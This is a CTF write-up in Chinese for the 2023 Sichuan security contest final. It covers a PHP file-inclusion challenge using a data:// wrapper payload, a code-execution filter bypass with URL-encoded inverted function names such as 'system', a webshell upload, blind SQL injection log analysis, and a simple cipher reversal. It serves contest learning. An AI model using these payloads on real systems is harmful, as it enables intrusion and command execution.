2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup

news2025/1/16 1:45:58

文章目录

  • Web
    • 前端验证
    • PHP_Try
  • Misc
    • HelloWorld
    • 密码在这
    • easy_log
  • Crypto
    • baser

线下“断网”CTF个人赛,题都很简单(新手级难度),总共10道题目,解了6题。

赛题附件请自取:
链接:https://pan.baidu.com/s/1lgNEBO7a1L4KLE2t_pXoow 
提取码:moch

Web

前端验证

就简单的绕过前端验证,Disable JavaScript插件直接一开,直接传PHP WebShell即可

在这里插入图片描述

PHP_Try

都是非常常见的考点

<?php
error_reporting(0);
$username=$_GET['username'];
$file=$_GET['file'];
$a=$_GET['a'];

if(is_numeric($username)&&isset($username)){
      highlight_file(__FILE__);
}
else{
      echo "<h2>传一个 username 试试 ?</h2>";
      die("<h3>username 用户讨厌字母</h3>");

}
if(substr(md5($username),0,5)==="3a824"){
      echo("惊呆了,小伙子<br>");
if(isset($a)&&file_get_contents($a,'r')==="this is so easy")
{
      echo "hello<br>";
      if(!preg_match('/fff.php/',$file)&&preg_match('/filter|data|input|base|[0-9]/i',$file)){
      echo "小伙子,你想嘎啥?";
      exit(0);
} 
      include($file); 
}
else
{
      die("??这就要结束了<br>");
}
}
else{
      die("咋回事???<br>");
}

?>

首先爆破username的正确数值,简单写个Python跑即可

import hashlib

for num in range(10000):
	numMd5 = hashlib.md5(str(num).encode()).hexdigest()
	if numMd5[0:5] == "3a824":
		print(numMd5, num)

在这里插入图片描述
isset($a)&&file_get_contents($a,'r')==="this is so easy"直接用伪协议传,然后包含fff.php即可

/index.php?username=2022&a=data://text/plain,this is so easy&file=fff.php

在这里插入图片描述
访问/fl4a4asdjkg.php,发现是代码执行绕过
在这里插入图片描述

直接用我的这篇文章里的URL编码取反绕过:浅谈PHP代码执行中出现过滤限制的绕过执行方法

PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'whoami'));"
Command line code:1:
string(18) "%88%97%90%9E%92%96"

在这里插入图片描述

Misc

HelloWorld

直接搜索关键字DASCTF{,选择替换即可显示出来

在这里插入图片描述

DASCTF{63fe66f7bb230272df7c34e8c3b7266d}

密码在这

按照长度排序,发现最长的一个包有RAR

在这里插入图片描述
试用tshark过滤提取出来

D:\Wireshark\tshark.exe -r .\pcap.pcap -T fields -Y data.data -e data.data

在这里插入图片描述

Python简单转换一下

hexString = "526172211a0701003392b5e50a01050600050101808000833fe6aa5502033cb000049c0020d4bc9c5b80030008666c61672e747874300100030f7664e898bc843a2deea13f7084beb0ef58ebe9779b9c1b4a678da13b6e641cf4869d9f0d797fcab50d7368a10a0302d30a2116f4bcd80157108ce51fbd5c9498348f5effcf4cee88444551f18f82c56db23536e613490e3e20d60911b1f03b06593de5337537bd1d77565103050400ffa567b22002030b0005003000000000800000067365637265740a0302e0c0f918f4bcd801d12727d32103230bb7800004aa800000e58ac34b8003000353544d0a073a70617373776f7264c5ab34240032fa24ba0f9741b3160e14341160b44cc1133550dffe0f9ee8f7eba584c76f6600d2558fb21a3fe410426e7a5c998b2ee5a81d77565103050400444f4e4503e70e63"
with open('flag.rar', 'wb') as f:
	f.write(bytes.fromhex(hexString))

在这里插入图片描述

注意,前面这些干扰数据需要去掉,得到Rar,题目提示说需要使用winrar打开,盲猜就是存在NTFS流隐写

NTFS文件流隐写如果要压缩必须使用WinRar压缩

使用Winrar解压

在这里插入图片描述

NtfsStreansEdutior发现隐藏的密码

在这里插入图片描述
导出,得到解压密码:SXMlMjB0aGlzJTIwdGhlJTIwcGFzc3dvcmQlM0Y=
解压flag.rar得到flag

DASCTF{I have learned it!!!}

easy_log

很明显的二分法布尔盲注入流量,%3E是大于,并且发现了一段base64

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('cGFzc3dvcmQ6IHNAZncjdiVmOQ=='));"
Command line code:1:
string(19) "password: s@fw#v%f9"

在这里插入图片描述
这里的重点就是,稍微需要一点点理解二分法布尔盲注入,使用大于的情况下判断的结果是怎么得出的

布尔盲注是根据返回的包不同,观察是否查询语法正确的,这里虽然看不到返回包的内容,但是可以看到返回包的长度,就是状态码200之后的就是返回包长度。

flag字段的第一位内容为例,如果ascii(substr((select group_concat(flag) from flag),1,1))>78,那么接下来的就是继续比较>78的数值了,但是这里第一位的内容后续的查询记录都是<78的,所以就能得出当返回包长度为704的时候就是查询错误,反之当返回包长度为699时则为查询正确

在这里插入图片描述
所以判断每一位的最后一条查询记录是否为True即可,如果为True,则需要数值+1,反之则就是该值

with open('access.log', 'r') as f:
	lines = f.readlines()
	idx = 2
	result = '' 
	for i in range(len(lines)):
		if 'flag),{},1))'.format(idx) in lines[i]:
			idx += 1
			asciiCode = lines[i-1][lines[i-1].find('%3E')+3:lines[i-1].find(' HTTP/1.1')]
			if ' 200 699 ' in lines[i-1]:
				result += chr(int(asciiCode) + 1)
			else:
				result += chr(int(asciiCode))
print(result)
with open('flag.zip', 'wb') as f:
	f.write(bytes.fromhex(result))

得到一个压缩包,密码前面也有,直接解压得到flag

DASCTF{fd67c1798e9cb29e8fc467e9dcefbd7f}

Crypto

baser

from uuid import *

from caser import something
from secret import flag
base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result =""
for i in range(len(flag)):
    if flag[i] in base_table:
        result +=base_table[(base_table.index(flag[i])+33)%64]
    else:
        result +=flag[i]
print(result)

#khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}

很简单的逆向

base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result = "khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}"
flag = ""
for i in range(len(result)):
	if result[i] in base_table:
		flag += base_table[(base_table.index(result[i])-33)%64]
	else:
		flag += result[i]
print(flag)
PS C:\Users\Administrator\Downloads> python .\code.py
DASCTF{c754ba00-b2aa-11ed-ab15-94085339ce84}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1154560.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Chrome如何解决http自动转为https问题

开发中总遇到http被浏览器转为https导致无法访问404 具体配置如下&#xff1a; 就能正常访问你的http不安全地址

逻辑(css3)_强制不换行

需求 如上图做一个跑马灯数据&#xff0c;时间、地点、姓名、提示文本字数都不是固定的。 逻辑思想 个人想法是给四个文本均设置宽度&#xff0c;不然会出现不能左对齐的现象。 此时四个文本均左对齐&#xff0c; 垂直排列样式也比较好看&#xff0c;但是出现一个缺点&#…

eDNA放大招:看完这篇文献,你的茶包还香吗?

eDNA在过去几年彻底改变了生物监测领域&#xff0c;一起来看它在生活中的应用吧。节肢动物&#xff08;无脊椎动物&#xff0c;如昆虫、甲壳类等&#xff09;在全球生态系统平衡维护中发挥重要作用。eDNA作为传统节肢动物监测的替代方案发挥出巨大的潜力。 最近一项发表于《Bi…

设备树(以STM32MP1为例)

1.设备树&#xff08;Device Tree&#xff09; 是一种用于描述硬件信息和配置的数据结构&#xff0c;以提供一个统一的方式来描述各种硬件设备的特性和连接方式。 设备树并不是从开始就存在&#xff0c;而是后来加入到Linux中&#xff0c;设备树主要用来描述系统的硬件结构 它是…

Hikari源码分析

总结 连接池关系 1、HikariDataSource构建函数->生成HikariPool对象->调用HikariPool的getConection得到连接 2、HikariPool包含ConcurrentBag 3、ConcurrentBag保存连接&#xff1a;三个集合threadList、sharedList、handoffQueue 4、ConcurrentBag管理连接&#xff1…

maven:编译出现Process terminated解决方法(超全)

maven:编译出现Process terminated解决方法&#xff08;超全&#xff09; 一. 情况一&#xff1a;配置文件 settings. xml 出错&#xff08;解决方法1&#xff09;1.1 项目编译报错如下&#xff1a;1.2 点击【项目名】提示找到出错文件1.3 点击查看出错文件1.4 原因及解决办法 …

LeetCode 2401.最长优雅子数组 ----双指针+位运算

数据范围1e5 考虑nlog 或者n的解法&#xff0c;考虑双指针 因为这里要求的是一段连续的数组 想起我们的最长不重复连续子序列 然后结合一下位运算就好了 是一道双指针不错的题目 class Solution { public:int longestNiceSubarray(vector<int>& nums) {int n nums…

微信朋友圈如何关闭?

怎样关闭微信朋友圈&#xff1f;由于一些比较特殊的原因&#xff0c;有些人不想再发朋友圈了&#xff0c;或者想跟过去的自己说“拜拜”&#xff0c;所以就想把微信朋友圈给关掉。虽然这种需求的人并不多&#xff0c;但却真实存在着。 微信早期版本是有关闭朋友圈开关的&#x…

【C# Programming】委托和lambda表达式、事件

目录 一、委托和lambda表达式 1.1 委托概述 1.2 委托类型的声明 1.3 委托的实例化 1.4 委托的内部机制 1.5 Lambda 表达式 1.6 语句lambda 1.7 表达式lambda 1.8 Lambda表达式 1.9 通用的委托 1.10 委托没有结构相等性 1.11 Lambda表达式和匿名方法的内部机制 1.1…

vite+vue3路由切换滚动条位置重置el-scrollbar

vitevue3路由切换滚动条位置重置 本文目录 vitevue3路由切换滚动条位置重置使用原生滚动条使用el-scrollbaruseRoute和useRouter 当切换到新路由时&#xff0c;想要页面滚到顶部&#xff0c;或者是保持原先的滚动位置&#xff0c;就像重新加载页面那样&#xff0c;vue-router 可…

升级版运算放大器应用电路(二)

网友&#xff1a;你上次分享的经典运算放大电路太棒了&#xff0c;再分享几个吧&#xff01; 工程师&#xff1a;好吧&#xff0c;那你瞪大耳朵&#xff0c;看好了~ 1、仪器放大电路&#xff0c;此电路使用于小信号的放大&#xff0c;一般用于传感器信号的放大。传感器的输出信…

紫光同创PGL50H图像Sobel边缘检测

本原创文章由深圳市小眼睛科技有限公司创作&#xff0c;版权归本公司所有&#xff0c;如需转载&#xff0c;需授权并注明出处 适用于板卡型号&#xff1a; 紫光同创PGL50H开发平台&#xff08;盘古50K开发板&#xff09; 一&#xff1a;软硬件平台 软件平台&#xff1a;PDS_…

ROS中如何实现将一个基于A坐标系下的三维向量变换到基于B坐标系下?

摘要 ROS中通过tf.TransformListener.lookupTransform方法获取从A坐标系到B坐标系的旋转四元数rot&#xff0c;通过quaternion_multiply函数实现 p ′ q p q − 1 p qpq^{-1} p′qpq−1中的矩阵乘法&#xff0c;从而可以方便获取在新坐标系下的四元数坐标表示 p ′ p p′. 基…

app广告变现,开发者如何提高用户的参与度?

越来越多的开发者已经认识到用户参与移动应用内广告的价值。 1、人性化的消息传递 人性化的消息传递在情感层面上与用户产生共鸣的方式进行沟通&#xff0c;让他们感到被理解、被重视和参与。它在用户之间建立了一种信任感和可信度。对话式和相关的语气建立了超越交易关系的联…

OBS直播软件使用NDI协议输入输出

OBS&#xff08;Open Broadcaster Software&#xff09;是一个免费的开源的视频录制和视频推流软件。其功能强大并广泛使用在视频导播、录制及直播等领域。 OBS可以导入多种素材&#xff0c;除了本地音频、视频、图像外&#xff0c;还支持硬件采集设备&#xff0c;更能支持各种…

致远OA wpsAssistServlet任意文件读取漏洞复现 [附POC]

文章目录 致远OA wpsAssistServlet任意文件读取漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 致远OA wpsAssistServlet任意文件读取漏洞复现 [附POC] 0x01 前言 免责声明&#xff1a;请勿利用…

多测师肖sir_高级金牌讲师_性能测试之badboy录制脚本02

性能测试之badboy录制脚本 一、下载安装包&#xff0c;点击安装 二、点击我同意 三、选择路径&#xff0c;点击install 打开以下界面&#xff0c;表示安装成功 第二步&#xff1a;录制流程 界面视图&#xff0c;模拟浏览器&#xff0c;能够进行操作 需要录制脚本的URL 点…

英语小作文模板(06求助+描述;07描述+建议)

06 求助描述&#xff1a; 题目背景及要求 第一段 第二段 第三段 翻译成中文 07 描述&#xff0b;建议&#xff1a; 题目背景及要求 第一段 第二段

记一次 AWD 比赛中曲折的 Linux 提权

前提背景&#xff1a; 今天一场 AWD 比赛中&#xff0c;遇到一个场景&#xff1a;PHP网站存在SQL注入和文件上传漏洞, MYSQL当前用户为ROOT&#xff0c;文件上传蚁剑连接SHELL是权限很低的用户。我需要想办法进行提权&#xff0c;才能读取到 /root 目录下的 flag。 一、sqlmap …

通过外网客户端远程到内部区域网环境

拓扑 项目需要远程内部区域网德服务器&#xff0c;可以提供一台双网卡的电脑来实现